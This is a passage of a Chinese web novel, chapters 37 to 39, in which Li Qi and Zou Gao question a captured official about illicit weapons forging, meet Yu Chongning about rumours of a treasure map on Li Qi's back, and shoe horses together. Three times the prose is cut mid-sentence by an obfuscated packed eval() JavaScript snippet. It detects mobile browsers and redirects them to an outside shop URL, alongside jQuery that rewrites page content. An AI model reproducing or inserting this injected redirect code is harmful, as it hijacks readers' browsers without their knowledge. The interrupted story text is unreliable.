邹杲只是笑笑,没有反驳,只道:“或许吧。” 李棋更加好奇,邹杲对动物的吸引真的太过奇幻。 更奇幻的是,明明都是人话,但是从邹杲的嘴里说出来,好像就是要不一样一些,动物们几乎都能听懂。 李棋原本以为邹杲对动物的吸引力是因为邹杲身上的香味,但是这会儿,邹杲身上只有卸去伪装又清洗过后留下淡淡药香,而无论是小七儿还是千赤玄翼,亦或是这两匹郓城军营中的战马,都一样亲近邹杲。 李棋正欲开口询问,邹杲抢先笑着又说,“不过小棋儿,农人想要收获尚且得播种照料,何况活物之间的感情呢?” 知道邹杲意有所指,但不明不白的,邹杲自己都没做到,她凭什么去做。 这么想着,李棋也指桑骂槐道:“这些没良心的,不亲近我便算了。” 看着邹杲笑盈盈的脸,李棋没好气又补充,“良驹难得,好看的男人还不好找吗?有这些时间,我还不如去找他们风花雪月。” 说罢,李棋也懒得管邹杲,气哄哄上前,径直朝藏匿赵孟的小营房走去。 邹杲咬牙切齿跟在李棋身后,他看着李棋的背影,反思究竟是哪一步走错了,让他和李棋变成如今这话不投机半句多的情形。 还不等他找到原因,目的地到了。 看着被五花大绑、奄奄一息的赵孟,邹杲没有太大情绪波动。 但是赵孟听到动静,强撑着抬起头来,看到他,却是激动不已。 他嘴巴被布条帮着,身体被捆了一圈又一圈,只能像一条毛虫一样,一边在地上蠕动,一边呜呜出声。 “他原本誓死不从,我用他儿子威胁,还以你的名义保证只要他配合,便饶过他的儿子和九族。” 邹杲不语,李棋见他没有要动手的意思,心中虽然不爽,但还是上前解开赵孟嘴上的布条。 赵孟大声喘息,猛吸两口空气,便连忙恳求道:“常胜王,是我白眼狼,也是我忘恩负义,一切都是我做的,与我儿无关。” “我知道我帮二皇子做这些是灭族的重罪,但是求您,您有这个本事,只要您愿意在陛下面前替我说两句好话,陛下一定会放我妻儿一命。” 邹杲后退两步,长身站立,只垂眼俯视着他,“你背后之人,只有邹珣一人?” 赵孟一愣,不明所以看着邹杲,反应过来,他连连点头,“和我联系的,让我做这些的,从来都只有二皇子一人,除了他,再没有其他人和我联系过。” 他又道:“王爷,三年前,你初次领兵神武军时,二皇子便开始忌惮你。也是从那时起,鸿秋塞开始私铸兵器,并且只造您率领的神武军中特供的神武箭和神武弩。” “三年前?”邹杲上前两步,在他面前蹲了下去,“那时,邹珣便有神武弩的详细图纸了?” 军中人朝野上下皆知,神武弩和神武箭是战神邹杲和神武军几个将领结合常年攻城、冲锋的经验,在原有的弩机上进行改进而来的。 但是二皇子却能在刚开始量产时,就拿到详细的图纸,他是从何处得来。 神武军中的细作,太尉及其手下之人,又或是陛下? 其中牵扯,不由得让人不寒而栗。 李棋不知道神武弩相关的,但是赵孟却是知道的。 见邹杲问起,他连忙点头,“我也不知道二皇子从何处得来,但那次给的,便是准确的图纸。” 他又道:“二皇子还曾往神武军中送了一批我们制作的箭矢和弩机。” 邹杲脸色之阴沉,已经可以用难堪来形容了。 李棋看着,都不太敢插话。 倒不是她真的害怕,而是她不想和邹杲因为这种本就和她无关的事情莫名争吵,闹得不愉快。 赵孟也有些害怕,他生怕邹杲动怒,迁怒他的家人,杀害了他唯一的儿子。 还是邹杲打破僵局。 他回过头,笑着朝李棋伸出手,“小棋儿,把我从鸿秋塞收来的那份地图给我。” 李棋从腰包里取出信封递给他。 邹杲和煦笑笑,温柔接过。 他转头看向赵孟,脸上的笑容又变了,变得让人不寒而栗。 赵孟,便浑身都在颤抖。 邹杲将信封里的东西拿出来,“这些,是什么时候的事?邹珣是要谋反,还是要嫁祸给我?” 看到这张城防图,赵孟大惊,瞳孔瞬间放大。 不过,他倒是没有挣扎,而是认命地释然。 “今年年初。”赵孟道,“说得虽然好听,但二皇子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708586|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直在用我一家老小的性命威胁我替他办事,在他心里,我和一条狗无异。” “这些年,我都是按照他的指令让下面铸造,而后按照他给定的路线,运送到他指定的地点,其余事情,他不会让我经手,我也不敢经手。” 见再问不出有用的信息,邹杲也不再多言。 他站起身来,也没管哭求不止的赵孟,转身看向李棋。 “走吧,”他淡笑道,“小棋儿,我们出去等。” 说罢,邹杲先一步走了出去。 看着不住哀求挣扎的赵孟,李棋终究还是没有多管,只收回视线,跟着邹杲走出去。 这会儿正热,营地又破烂,两人只站在外面房廊下的阴影里。 邹杲傲然挺立,目视远方,乍一看是在关注大门处的动向,仔细一看,便会发现,他的思绪早已飘远。 李棋走近,故意咳嗽了一声,见邹杲回神,才大步上前,抱臂靠在他左边的柱子上。 见邹杲看向自己,李棋索性直接问:“这两封信,你打算怎么办?” 邹杲不答反问,“小棋儿你打算怎么办?”他又笑道,“毕竟,东西都在小棋儿你的手里,你的权重更大。” “以我梁国公主的身份,交给成武帝。”李棋看向邹杲,勾唇笑道,“既然他们非要拉我入局,那我便搅得所有人都不得安宁。” 邹杲畅然大笑,朝李棋竖着大拇指,“干脆利落、有勇有谋,不愧是小棋儿,不愧是梁国公主!在下深感佩服!” 李棋酣然笑了,接下了邹杲这番应承,“你呢?” 邹杲还在沉思,马蹄声由远及近。 李棋朝大门处看去,赫然是千赤和玄翼,以及它们身后跟着的、骑着一匹黑色骏马的英俊男人。 虽然只有一面之缘,但是李棋记得他,来人赫然是那日为了莫名其妙的梁朝秘宝而来的一众江湖人士中最先说话那个男人——虞崇宁。 李棋目瞪口呆,猛地侧头看向身边的邹杲,“他是你的人?那天下第一阁……” 邹杲但笑不语。 这时,虞崇宁也骑着马越来越近了。 在相距差不多还有两丈时,他翩然起身,如谪仙一般跃下马背,又一个侧身,从邹杲右边翩屹立在他们身后。 他的马似乎也是千赤的追崇者,得到自由的瞬间,便和玄翼一起,一左一右跟着千赤一边撒欢去了。 李棋才转过身,虞崇宁便满面春风,对她嫣然笑道:“公主殿下,我们又见面了!” 他话音未落,邹杲便皮笑肉不笑对虞崇宁道:“小棋儿可不是寻常女子,你最好别乱撩。” “就算你是老大,也不能这么霸道吧。”虞崇宁完全没受影响,又对李棋笑道,“公主殿下评评理,王爷都可以亲昵称呼叫公主殿下为小棋儿,崇宁见到公主殿下欣喜难耐,难道还不能问个好吗?” 李棋看了邹杲一眼,见邹杲一脸委屈看着自己,又看向虞崇宁,灿然笑道:“当然可以。” 她又问:“不知虞公子家住何处、年龄几何、可有婚配?” 邹杲没说话,但冰冷盯着虞崇宁的眼神怎么都算不上和善。 虞崇宁瞥了一眼邹杲,有些背脊发寒,但还是风度翩翩理了理衣服,“崇宁今年二十有六,倒是不曾婚配,就是居无定所,若公主殿下不嫌弃……” “差不多得了。”邹杲不悦打断虞崇宁,转头看向李棋,脸上又堆满了笑容。 他道:“小棋儿你别被他迷惑了,他看他说话这模样,就知道,他是常年流连于花柳场所之人。” “何况,他既没我英俊,也没我高大,小棋儿你有看他的时间,还不如用来和我亲近。” 李棋似笑非笑看着邹杲,“就算王爷你堪比饕餮盛宴,但日日如此,也不如偶尔的清粥小菜来得爽口。” 虞崇宁丝毫不介意自己被李棋比作清粥小菜,他哈哈大笑,还变戏法似的,掏出一把纸扇风度翩翩扇了起来。 “能得到公主殿下青睐,是崇宁之幸运,他日,公主殿下若是想吃清粥小菜了,崇宁随时敞开怀抱恭迎。” 邹杲笑不出来了,直接冷脸道,“再不闭嘴,我就永远让你闭嘴。” 虞崇宁不服气、但也闭上了嘴,片刻,他又朝李棋挤眉弄眼,控诉邹杲的霸道蛮横。 李棋对此深表赞同,回应笑了笑。 看着眉目传情的两人,邹杲脸都绿了,恨不得一脚踢飞这该死的虞崇宁。 38.幽冥卷·第十三章 13 邹杲又剜了虞崇宁一眼,才冷声道:“详细说说,关于小棋儿身上的梁国秘宝的传闻是怎么回事。” 虞崇宁扇着手里的扇子,轻飘飘笑道:“详细来说就是差不多二十天前,不知是从何处何人开始,突然出现当年梁国皇帝自知大势已去,但却放心不下他万分宠爱的李蕲小公主,所以,他在嬴国的军队踏破怿都皇城前,派人秘密将梁国国库藏宝尽数运出怿都进行藏匿的说法。” “而嬴国军队破城之后,也的确没有在梁国皇宫中找到多少财宝,这相当于证实梁国国库转移过的传闻。” 见邹杲和李棋都疑惑看着他,他也不卖关子,笑呵呵又道:“至于公主殿下的绝美容颜,则是跟着传闻一起,传遍了每一座城池。” 李棋一怔,难以置信重复,“我的容貌?” “是。”虞崇宁点头,收起折扇,从袖袋中取出一卷卷起来的上好的画纸递给她。 李棋愣住,手抬起半天没伸出去。 还是邹杲侧头看向她,温柔笑着喊了声‘小棋儿’,李棋才如梦初醒,一不做二不休,伸手将画卷接了过来。 她面上没有什么表情,但是手却忍不住的发抖。 将卷起的画纸展开,看清上面的画作的瞬间,李棋终于还是没忍住,整个人都开始颤抖。 “……师父,”她如遭雷劈,许久才从喉咙中挤出这两个字。 虽然李棋不记得十岁以前的任何记忆,但在她的记忆中,每一天,几乎大半的时日都有师父的身影。 她的一切都是师父直接或间接教给她的,更是在师父严厉的督促,她才能日复一日的坚持练功,才能有如今的、不受桎梏在江湖上行走。 是师父一个个教她书写药草学名、绘画药草详细,师父的笔触,李棋最是清楚,也最是难忘。 而这幅画,只一眼,她便能看出,是出自师父之手。 画上她的衣着装扮,也是与师父在鄂阳分别那日的装扮,连细微的细节,比如李棋觉得好玩、模仿算命老道自己挂在左边领口处用作装饰的三个五铢钱,他都画了出来。 然而,虞崇宁还没有停下。 他又道:“除了这些,同时流传开来的,还有藏宝图藏在公主背上的说法。” 这回,换邹杲震惊。 “藏宝图藏在小棋儿背上?”邹杲心疼看向李棋,“是刺青吗?” 李棋抬起头,眼眶绯红,眼中湿润,她摇头。 她是真的不知道。 她只知道,在一场大火中,师父抱着她和师兄一起逃离,来到玄林,并且在玄林避世,不复外出。 师父从来不对她们说起他们的身份,只告诉李棋,她是李棋,只告诉师兄,他是子瞮。 后来,娘亲纪敏告诉她,她不是梁国公主,不用为梁国复仇。 再后来,师父以追回‘无忧’之名,终于让她离开玄林,但是也是这时候,娘亲找上她,告诉她,和她朝夕相伴的师父师兄要害她。 而如今,娘亲所说似乎都一一验证了,她一时再找不到由头替师父开脱。 师父救她逃离火海,又将她推入另一个火海。 那么,师兄子瞮在其中担当了什么样的角色?还是毫无干系? 看着李棋这般,邹杲心疼不已。 他只知他记挂多年、寻找多年的萧绡便是大梁集万千宠爱于一身的小公主李蕲,却不知道,当年那个善良可爱的小公主还遭受了这些。 梁国灭国差不多有十年,梁皇也死了差不多十年,若藏宝图真的在李棋背上,那么,最多不过九岁,彼时还是一个小孩的李棋被强迫着刺穿了整个背部的皮肉。 想到明媚可爱的小女孩哭嚎着却挣脱不开魔爪的画面,他不由得攥紧拳头。 听到骨头咯咯的响声,虞崇宁一怔,不动声色打量着李棋和邹杲。 见邹杲快要克制不住自己的情感,他猛地打开手中的纸扇,发出突兀的响声,同时将邹杲和李棋都拉到了现实中。 李棋对虞崇宁拱了拱手,极其敷衍行了个礼说了句‘多谢’,又对邹杲有气无力说了句‘你们说,我去外面守着’,便大步朝门外走去。 见邹杲动了动脚,想追上去,虞崇宁猛地上前一步伸手拦住他,低声道:“你清醒一点,现在可不是谈情说爱的时候。” 闻言,邹杲一愣,他定睛看着李棋的背影,良久,还是痛苦收回了视线。 虞崇宁拿着手中的扇子给邹杲快速扇风,同时道:“皇帝近期很重视子瞮和邹珣,不过,邹瑅最近因为‘复儒教’一事,深得鄂阳百姓崇敬。” 邹杲接过扇子,自己大力扇风,看向虞崇宁问:“子瞮的底细查清楚了吗?” 虞崇宁摇头,“太过久远,梁国皇宫及宫人大多被付之一炬,不太好查,我记得你说小公主那时候和你说她名为萧绡,梁国大将军萧原确有一女一子,长女萧绡、次子萧逾,他们的生母是金曲楼蝶恋花的侍女。” “原本,和萧原两情相悦的是蝶恋花本人,是梁国皇帝横插一脚,在两人大婚前一日,不知道使用什么手段将蝶恋花弄进了他的后宫,不仅如此,他为了保全名声,还让萧原与蝶恋花的侍女如期举行了婚礼。” “你结识小公主的前一年,萧原一家四口遭人灭了满门,梁国覆灭后一年,蝶恋花回到金曲楼,但萧原及其一双儿女却再没有出现过。” “我怀疑,只是我个人猜测哈,虽然梁皇对外宣称一生无子,但子瞮身份成谜、又与李棋同岁,很有可能子瞮才是真正的梁皇血脉李蕲,而公主李棋只是他的替死鬼。否则,就算要隐姓埋名,蛮菩萨也没必要用棋子的‘棋’字为小公主化名。至于如今的李棋是不是萧原的女儿萧绡,还得另说。” 邹杲想起萧逾,心中又了估量,点了点头表示自己知道了。 虞崇宁顿了顿,又道:“子瞮因为何事得到皇帝的重用也还在查,但我觉得我的猜测很合理,这样,他费尽心思靠近成武帝也说得通了。” 邹杲却摇了摇头,“我们能查到,皇上不可能查不到。” 此话一出,虞崇宁沉默了。 是啊,子瞮若真是梁皇唯一的儿子,哪怕只是捕风捉影,成武帝也不该更不会将这样一个人放在左右。 但若子瞮与梁国皇室无关,他的身份过往就不该那么隐秘,说白了就是心里没鬼就没必要掩藏。 邹杲叹了口气,说:“子瞮那边接着查,再派人去查一查蝶恋花,萧原家的灭门案始末也好好查一查。” “好。”虞崇宁应下,又道,“对了,我还得到风声,说复儒教乞巧节杀人案件发生后,有自称被你放走的他国遗脉给皇帝写信,将一切动乱都推到你的身上。” 虞崇宁担忧问:“除了我,你没放走别的他国遗脉吧?” 邹杲看向虞崇宁,也不说话,许久,虞崇宁都焦虑了,他才道:“你猜。” “我……”虞崇宁气急,要不是欠邹杲一命,还欠邹杲一个大恩,他恨不得给邹杲两下子。 “算了,”虞崇宁道,“管你有没有,反正你别连累我,你要是敢耽误我叱咤江湖,我也到皇帝那里去告你,让他以大逆不道之罪诛你九族。” 邹杲懒得搭理他,只问:“幽冥蝎找得如何?” “已经找到了,这两天就能送到。” 邹杲点头,想到萧逾与文蕼,又说:“可以从逍遥门的萧逾和文蕼着手查,萧逾自称萧原之子、坚称小棋儿是他的姐姐;文蕼应当是颍王的儿子邹芥,他不认颍王这个父亲的具体缘由也派人去查一查。” 虞崇宁点头,“正好快到给逍遥门送酒钱的日子了,到时候我亲自去一趟。” 顿了顿,他抓心挠肝又道:“你给我个准信呗,你现在处心积虑做这些,是真的想抢夺那个位置吧?” 邹杲不语,继续扇风。 他转身看向远处的天险,沉默不语,让人看不透他在想些什么。 见邹杲的嘴一如既往的紧,问不出任何邹杲不想说的话,虞崇宁也泄气了,不再多问。 “行吧,不该问的我不问。”虞崇宁说着,要去抢邹杲手里的扇子。 邹杲却躲了躲,非但没让虞崇宁得逞,虞崇宁还险些绊倒。 邹杲看也不看他,扇着扇子,淡淡道:“之前不是一直抱怨,现在你可以回去了,之后的事交给王安就行。” “为什么?我都愿意屈尊跟着听你使唤,你有什么好嫌弃我的?” 虞崇宁话没说完,就接到邹杲的死亡凝视,后知后觉,他反应过来。 “不是吧,小公主虽然的确美丽,但是你居然为了一个女人,开始防备我这个好几年的兄弟?兄弟如手足,女人如衣……” 话没说完,邹杲再一次冷脸打断他,“不论其他,若没有当年的小萧绡慷慨解囊,多半也不会有如今的我。若非要排个高低,那她一定是排在最高处的。” 虞崇宁哑然,很是难以置信。 良久,他才反应过来,无比痛心质问:“你认真的?你现在就确定她比任何人都重要了?要是她是在和她师父一起做戏骗你呢?” 这话,问住了邹杲。 邹杲收回视线,沉默着不再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714687|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 见状,虞崇宁连忙又说:“种种证据表明,她师父都是站在皇帝那边的,要是李棋也是皇帝那边的,一旦证实你有谋反的心,不,等你失去了利用价值,皇帝第一个不会放过你,你必死无疑。” 邹杲依旧是沉默,许久许久,虞崇宁叹气,正在想自己这么说是不是太过了,便听邹杲道:“若当真如此,那我便也只能认了。” 虞崇宁大惊,要不是迫于邹杲的威严,他都想拍拍邹杲的脸,确定邹杲是不是发热烧坏了。 不过几个月而已,就算李棋是邹杲小时候就心心念念的人,也不至于这样吧。 这还是他认识的那个杀伐果断、冰冷无情的邹杲吗? 爱情竟真这样恐怖?还是说恐怖的是人? 李棋也学过蛊,她不会给邹杲下蛊了吧? 但看邹杲这模样也不像啊。 虞崇宁不由得打了个寒颤,心想以后可得小心点,千万不能跟着邹杲学。 “你自寻死路我没意见,但别带着我和兄弟们一起……你还是稍微理智点吧,我回去了。”虞崇宁说罢,牵着马转头就要跑。 但他那马黏千赤黏得厉害,还不太情愿走,在玄翼的帮助下,虞崇宁使出了吃奶的力气,才终于把马牵出来。 邹杲嗯了一声,没再管他。 * 虞崇宁骑着马跑出营房,看着坐在门口旁边的李棋,虞崇宁叹了口气,还是放慢了速度。 “公主殿下。”虞崇宁不着调喊她。 李棋听到声音也没起身,只抬头看着他,“你这就要走了?” 这个角度,虞崇宁感觉自己的心脏仿佛被射了一箭,扑通扑通狂跳不止。 别看了,不能被美色迷惑,不然怎么死的都不知道。 虞崇宁也依旧是那幅花花公子的不着调模样,说的话也是更加不着调了。 “嗯,突然想起我儿子快出生了,我得赶回去第一个抱他。” “嗯?”李棋纳闷,“你刚刚不是还说你还没有婚配。” 虞崇宁说胡话那是张嘴就来,“我记混了,别说妻子,小妾我都抬了好几十房了。” 李棋也后知后觉反应过来,可能是邹杲做了什么。 她心中好笑,面上更是笑得更灿烂,“虞阁主的儿子肯定也很可爱,等我有时间了,一定来天下第一阁和他培养培养感情。” “再说再说,”虞崇宁连连摆手,他扯动缰绳,“不早了,告辞!” 李棋笑吟吟起身送他,“一路顺风。” “不是很着急?还不走?” 邹杲鬼一样的声音从身后传来,吓得虞崇宁虎躯一震。 “就走,就走!”都顾不上再和李棋告别,虞崇宁一扬缰绳,跑得飞快,“驾!” 目送虞崇宁远去,李棋脸上的笑意都还未散去。 虞崇宁这个人也怪好玩的,长得也好看,以后有机会可以去找他玩玩。 “你们什么时候这么熟了?”邹杲幽幽又道,“小棋儿你没听到吗,他不但有儿子了,还找了上百个小妾。” 李棋忍俊不禁,转头看向邹杲,纠正道:“他说的是几十。” “差别不大。”邹杲嘴下毫不留情,“你别看他人模狗样的,内里不知道亏成什么样了。” 李棋哭笑不得,“人好歹为你做了这么多事,你就在背后这么抹黑他?” 邹杲一点不心虚,“没有抹黑,全是实话。” 看着邹杲一本正经的模样,李棋心里轻松了很多,又坐了下去。 邹杲也走到她身边坐下。 应该是受地势和傍晚来临的影响,这里的风很是凉爽,吹在身上很舒服。 两人就这么安安静静坐了好一会儿。 许久,感觉肚子有些饿,李棋才侧头看向邹杲打破沉默。 “赵孟你打算怎么处理?”李棋又补充了一句,“我饿了。” 邹杲眼神关切看着李棋,“好像是瘦了一些。走吧,带着赵孟,我们去郓城吃好吃的。” 李棋问:“要在郓城停留几天?” 邹杲也没卖关子,“两天或者三天吧。” “行。”李棋没动,懒洋洋使唤他说,“你快去把千赤、玄翼还有赵孟带出来。” 邹杲可怜兮兮说,“小棋儿,你忍心吗,我是病患啊。” 他话虽这么说,人却已经起身。 李棋笑得见牙不见眼,“正因为你是病患,你才更需要多动动,王爷乖乖,听话,快去吧。” 邹杲没忍住笑出声,乐呵呵转身进屋,去干活了。 39.幽冥卷·第十四章 14 带着赵孟,两人径直前往郓城。 他们到的时候郓城城尉还没到,于是,两人带着赵孟在最好的客栈住了下来。 两人是在傍晚时分到达郓城的,才进城门,一个身材中等、面容普通的男人就找上门来。 这男人李棋依稀有点印象,虽然并不是当初给李棋将邹杲过往那个男子,但赫然,和他没有直接接触,但也是天下第一阁的店小二。 果然,只听来人上前自报家门说他叫王安,是应邹杲的命令前来。 见过虞崇宁,知道虞崇宁和邹杲关系匪浅,虞崇宁背后的天下第一阁自然也和邹杲关系非同寻常,李棋也见怪不怪。 得到邹杲的肯定,李棋也没再管他。 快进城时,避免麻烦,李棋给赵孟扎了两针,他现在还处于晕死状态,王安一来,两人也能轻松不少。 两人这几天过得都不算好,一个被困于矿洞,一个忙于奔波。 是以,还在和客栈掌柜交涉时,两人就异口同声麻烦掌柜先给他们准备沐浴的温水。 王安不是空手来的,他带了一马车的东西,衣物,酒水,还有钱财若干。 邹杲用着也不心疼,在钱财的加持下,吃个饭的功夫,掌柜把位于三楼最好的三间房给他们腾出来。 * 舒舒服服泡了个澡,换上干净的衣服,李棋躺在柔软的大床上动都懒得动。 她沉下心思一听,邹杲那边也是差不多的状况。 虽然还有很多事情要处理,但也不急于这一时。 李棋靠躺在床上看了一会儿王安带来的话本《王爷俊美世无双,风流女侠狂追不舍》,全程嘴角就没下来过,随着剧情发展到高潮,她也笑得直锤床板。 一番酣畅的情绪释放,看了一半她就有了困意,强撑着又看了没多久就彻底睡了过去。 这一觉她睡得极好,等她醒来,天光已经大亮。 换上衣服洗漱好,李棋先去敲了邹杲的房门,邹杲似乎不在屋里,隔壁的王安倒是开门出来了。 “李姑娘,王爷这会儿在马厩。” “马厩?”李棋不解,“大早上的,他去马厩干什么?该不会是千赤和玄翼出事了吧?” 不等王安否定,李棋又道:“不该啊,我没听到任何异常的动静。” 王安连连摇头,“千赤没事,只要有时间,王爷都是亲自照料千赤的。” 这倒是令李棋没想到,所以昨天邹杲让她多花时间和千赤玄翼相处不是呛她的啊。 王安又道:“李姑娘饿不饿,王爷吩咐掌柜给你准备了吃食,小的这边走不开,得劳烦李姑娘自己下楼去找掌柜拿。” “没事,你看好赵孟就行。”李棋说罢,转身就走,走出去两步,她又回过头来问,“你吃了吗?要不要喊人给你送点上来?” 王安受宠若惊,“多谢李姑娘记挂,不过王爷喊掌柜给小的送过了。” “那行。” 李棋转身快步下楼。 掌柜很热情,她还在楼梯上,掌柜就笑着跟她打招呼,上前要带她去坐,说吃食在锅里温着,马上就送来。 李棋摇摇头,跟着他去膳房拿了一碟包子,问清马厩的方向后,就打发走了掌柜。 马厩的位置很偏,但相对宽敞,李棋才走过去,远远就看到了拿着个小凳子坐在千赤脚边的邹杲。 邹杲今日穿得很朴素,灰色的短打,洁白的小灵狐藏在他的脖颈间、发丝下,像是闻到李棋的气味,远远就弹出脑袋往李棋的方向探看。 再说邹杲,他那游刃有余的动作,看着比旁边两个正在照顾其他马匹的两人更像马夫一些。 不过,两个马夫的衣衫更加褴褛,几乎满是补丁,两个人甚至凑不出一双好鞋。 她才看到邹杲,邹杲也听到了她的脚步,并且认出来她。 邹杲回首笑盈盈看着她,“小棋儿!找我有急事?” “没有。”李棋走近一些,伸手悄悄摸了摸藏在邹杲发丝下的小灵狐,再一看邹杲熟练的动作,不由惊奇问,“你还会修马蹄呢?” 邹杲轻笑,仰头看着她好一会儿,先夸了句,“小棋儿果然适合明媚的衣裙。”又才谦虚说,“这并不是什么独门绝技,小棋儿感兴趣,我可以教你,很简单。” 李棋是有些蠢蠢欲动的,心里盘算着说不定修完这次马蹄,千赤和玄翼就亲近她了呢。 她决定大干一场,又实在喜欢这身衣服。 她难得有机会穿上女装,邹杲让王安准备的、橙红色的宽袖襦裙,因为她身量高,衣摆刚好到她脚踝处。 “你等我会儿,我去换个衣服。”她说着,转身就要走。 宽袖或许有些不方便,但是衣袖内里有束带,也影响不到那儿去。 邹杲哭笑不得,连忙叫住她,“千赤和玄翼都很乖,不会弄脏你的衣裙,没必要特意去换。” 李棋求之不得,“好,那我不换了。你慢点,等我把这几个包子吃完。” 邹杲笑声悦耳,“不急,千赤的只修了两个前蹄,玄翼的一个都还没开始,足够你练手了。” “你要再吃点不?”李棋问邹杲,说话间已经拿起一个递到邹杲嘴边。 邹杲才摇头,喊她自己慢慢吃,闻言,李棋刚欲收回,邹杲又张开嘴追上来,一口咬了小半。 李棋欲言又止看了他一眼,也难得说他了,将剩下一半往他嘴里强硬一塞,自己便拿起一个大口吃了起来。 包子太大,邹杲被塞得满满当当的,偏偏手还是脏的,也腾不出来,只能狼狈含着呜咽。 还是李棋笑够了,才大发善心接下,让他得到喘息的机会 旁边年轻一些那个马夫非常有眼力见的给李棋搬来一个小凳子。 李棋跟人道了谢,还将手中包子递出去,两人都摇头,如此,李棋才坐在邹杲身边,将碗碟放腿上,一手喂邹杲,一手拿着自己吃。 邹杲也学乖了,没再搞幺蛾子,只一边咀嚼,一边低头给千赤修蹄。 等李棋和邹杲分吃完一碟包子,两人也给其他马匹都喂了草饲。 他们上前来接过李棋手里的空碗碟,临走前,其中一人问:“公子,小姐,可需要我们留下来帮忙?” 两人均是否定,闻言,他们转身就走,李棋看看他们,又看向邹杲,还伸手往自己身上口袋中摸索,想叫住他们又拿不出值钱的东西来。 正为难间,像是心有灵犀一般,邹杲突然叫住他们,“等下。” 两人还有李棋都是一愣,下一刻,就听邹杲笑着说道:“小棋儿,你左边发髻中那根素簪有些配不上你了。” 李棋反应过来,也想起头上的确有这么一根不起眼的小素簪,她连忙反手摸索着拔了下来,中规中矩普普通通的一根,正合李棋心意。 她笑着递给两人,“是有些朴素了,你们拿去融了分了,买两匹好布,给自己和家人都做身新衣裳新鞋吧。” 天降巨财,两个店小二都是万分愕然与欣喜,李棋起身塞到年长那人手里,他们才反应过来,连忙跪下感恩戴德。 李棋将两人扶起,三言两语将两人打发走,当即又转身回到邹杲身边坐下。 “想不到啊,我们恶名在外的常胜王还是个大好人。”李棋故意调侃他。 邹杲笑笑,“都是受到了我们鼎鼎大名的活菩萨的影响啊!” 李棋没好气笑着瞪他,邹杲认错也快,笑着转移话题,“来吧,咱们这就开始。” 李棋也难得没和他争高低,一边整理袖子,一边打趣他:“还以为你在故意拖延时间,等千赤脚麻抽筋哦。” 邹杲一愣,随即捏了捏千赤的马腿,无奈道:“我在小棋儿你心中就那么歹毒?” “这可不好说,你自己什么样,你不该比我更清楚。”李棋坐下,兴致勃勃问,“怎么开始,我先看着,你给我讲一遍?还是我直接上手,边操作你边给我讲?” 看她急不可耐的模样,邹杲忍俊不禁,他起身将位置让给李棋,“来吧,我带着你修一遍。” “行。” 李棋乐呵呵挪到邹杲的板凳上,邹杲则躬身站在她身后,左手负在身后,右手握着她的右手持刀,“这样,一点一点来,修剪太多会影响马儿的正常行走。” 李棋原本就有点紧张,听到邹杲说搞不好会影响马儿,她瞬间更加紧张,全神贯注还不够,恨不得再多张两双眼睛。 “倒也不用这么紧张,我看着呢,你不会有剪太多的机会的。” 这话安慰到了李棋,但是不多。 她全身心投入,一个马蹄还没修剪好,先流了一脑门的汗。 邹杲用衣袖帮她擦去,“放轻松,我和千赤都不紧张。” 李棋现在没工夫和他说话,“你闭嘴,别说话影响我。” 邹杲哭笑不得,但还是闭上了嘴巴。 又过了好一会儿,李棋用手摸了又摸,这才满意扭头看向邹杲,“现在应该差不多了吧?” 邹杲点头,“钉上马蹄铁就算完成了,小棋儿也可以出师了。” 李棋自然是得意的,但看着邹杲递上来的钉子、锤子等工具,她有些心虚。 “钉马蹄铁还是你来吧。” 邹杲也没嘴贱或反驳,欣然坐下,从容不迫干起活来。 他十分游刃有余,但李棋还是看得龇牙咧嘴,仿佛是在钉她的脚一样。 她欲言又止,但最终还是没有张嘴打扰邹杲。 邹杲的余光将她的小表情尽收眼底,他笑意盈盈,边操作边跟李棋说话,“郓城城尉今早已经回来了,小棋儿你说赵孟是直接交给他看押,听候皇上处理,还是咱们自己找人看押?” 听闻此话,李棋的注意力立刻就转移了。 她沉下心来,确定附近没有别人,这才说:“一并交给郓城城尉吧。” “为何?”邹杲道,“万一赵孟被灭口?不就死无对证了。” “在你手上你就能确保他不被灭口吗?”李棋看着他说,“何况,谁能保证赵孟在你手上这些时日里,你有没有对赵孟做什么。” “皇帝本来就忌惮你,你就别上赶着去惹一身腥臊了。” 邹杲回过头,笑容明媚看着李棋。 李棋被他看得莫名其妙,“干嘛这么看着我?” “没什么,只是没想到小棋儿这般为我着想,我有些受宠若惊。” 李棋语塞,心却跟着砰砰快速跳动起来。 但她很快冷静下来,理智又道,“也不只是为你,我梁国公主的身份人尽皆知,要是我师父的确和皇帝有交易还好,要是没有,他肯定会怀疑我和你是不是早就有往来。” “你要是有事,我多半也要被连累。”李棋没好气看着邹杲,“都怪你们,好端端非要搞这么多事,害得我也不得安生。” “这个罪名我可不背。”邹杲真假难辨说,“小棋儿,要是可以,我也想过安生日子的。” 李棋看着他,并不表态。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 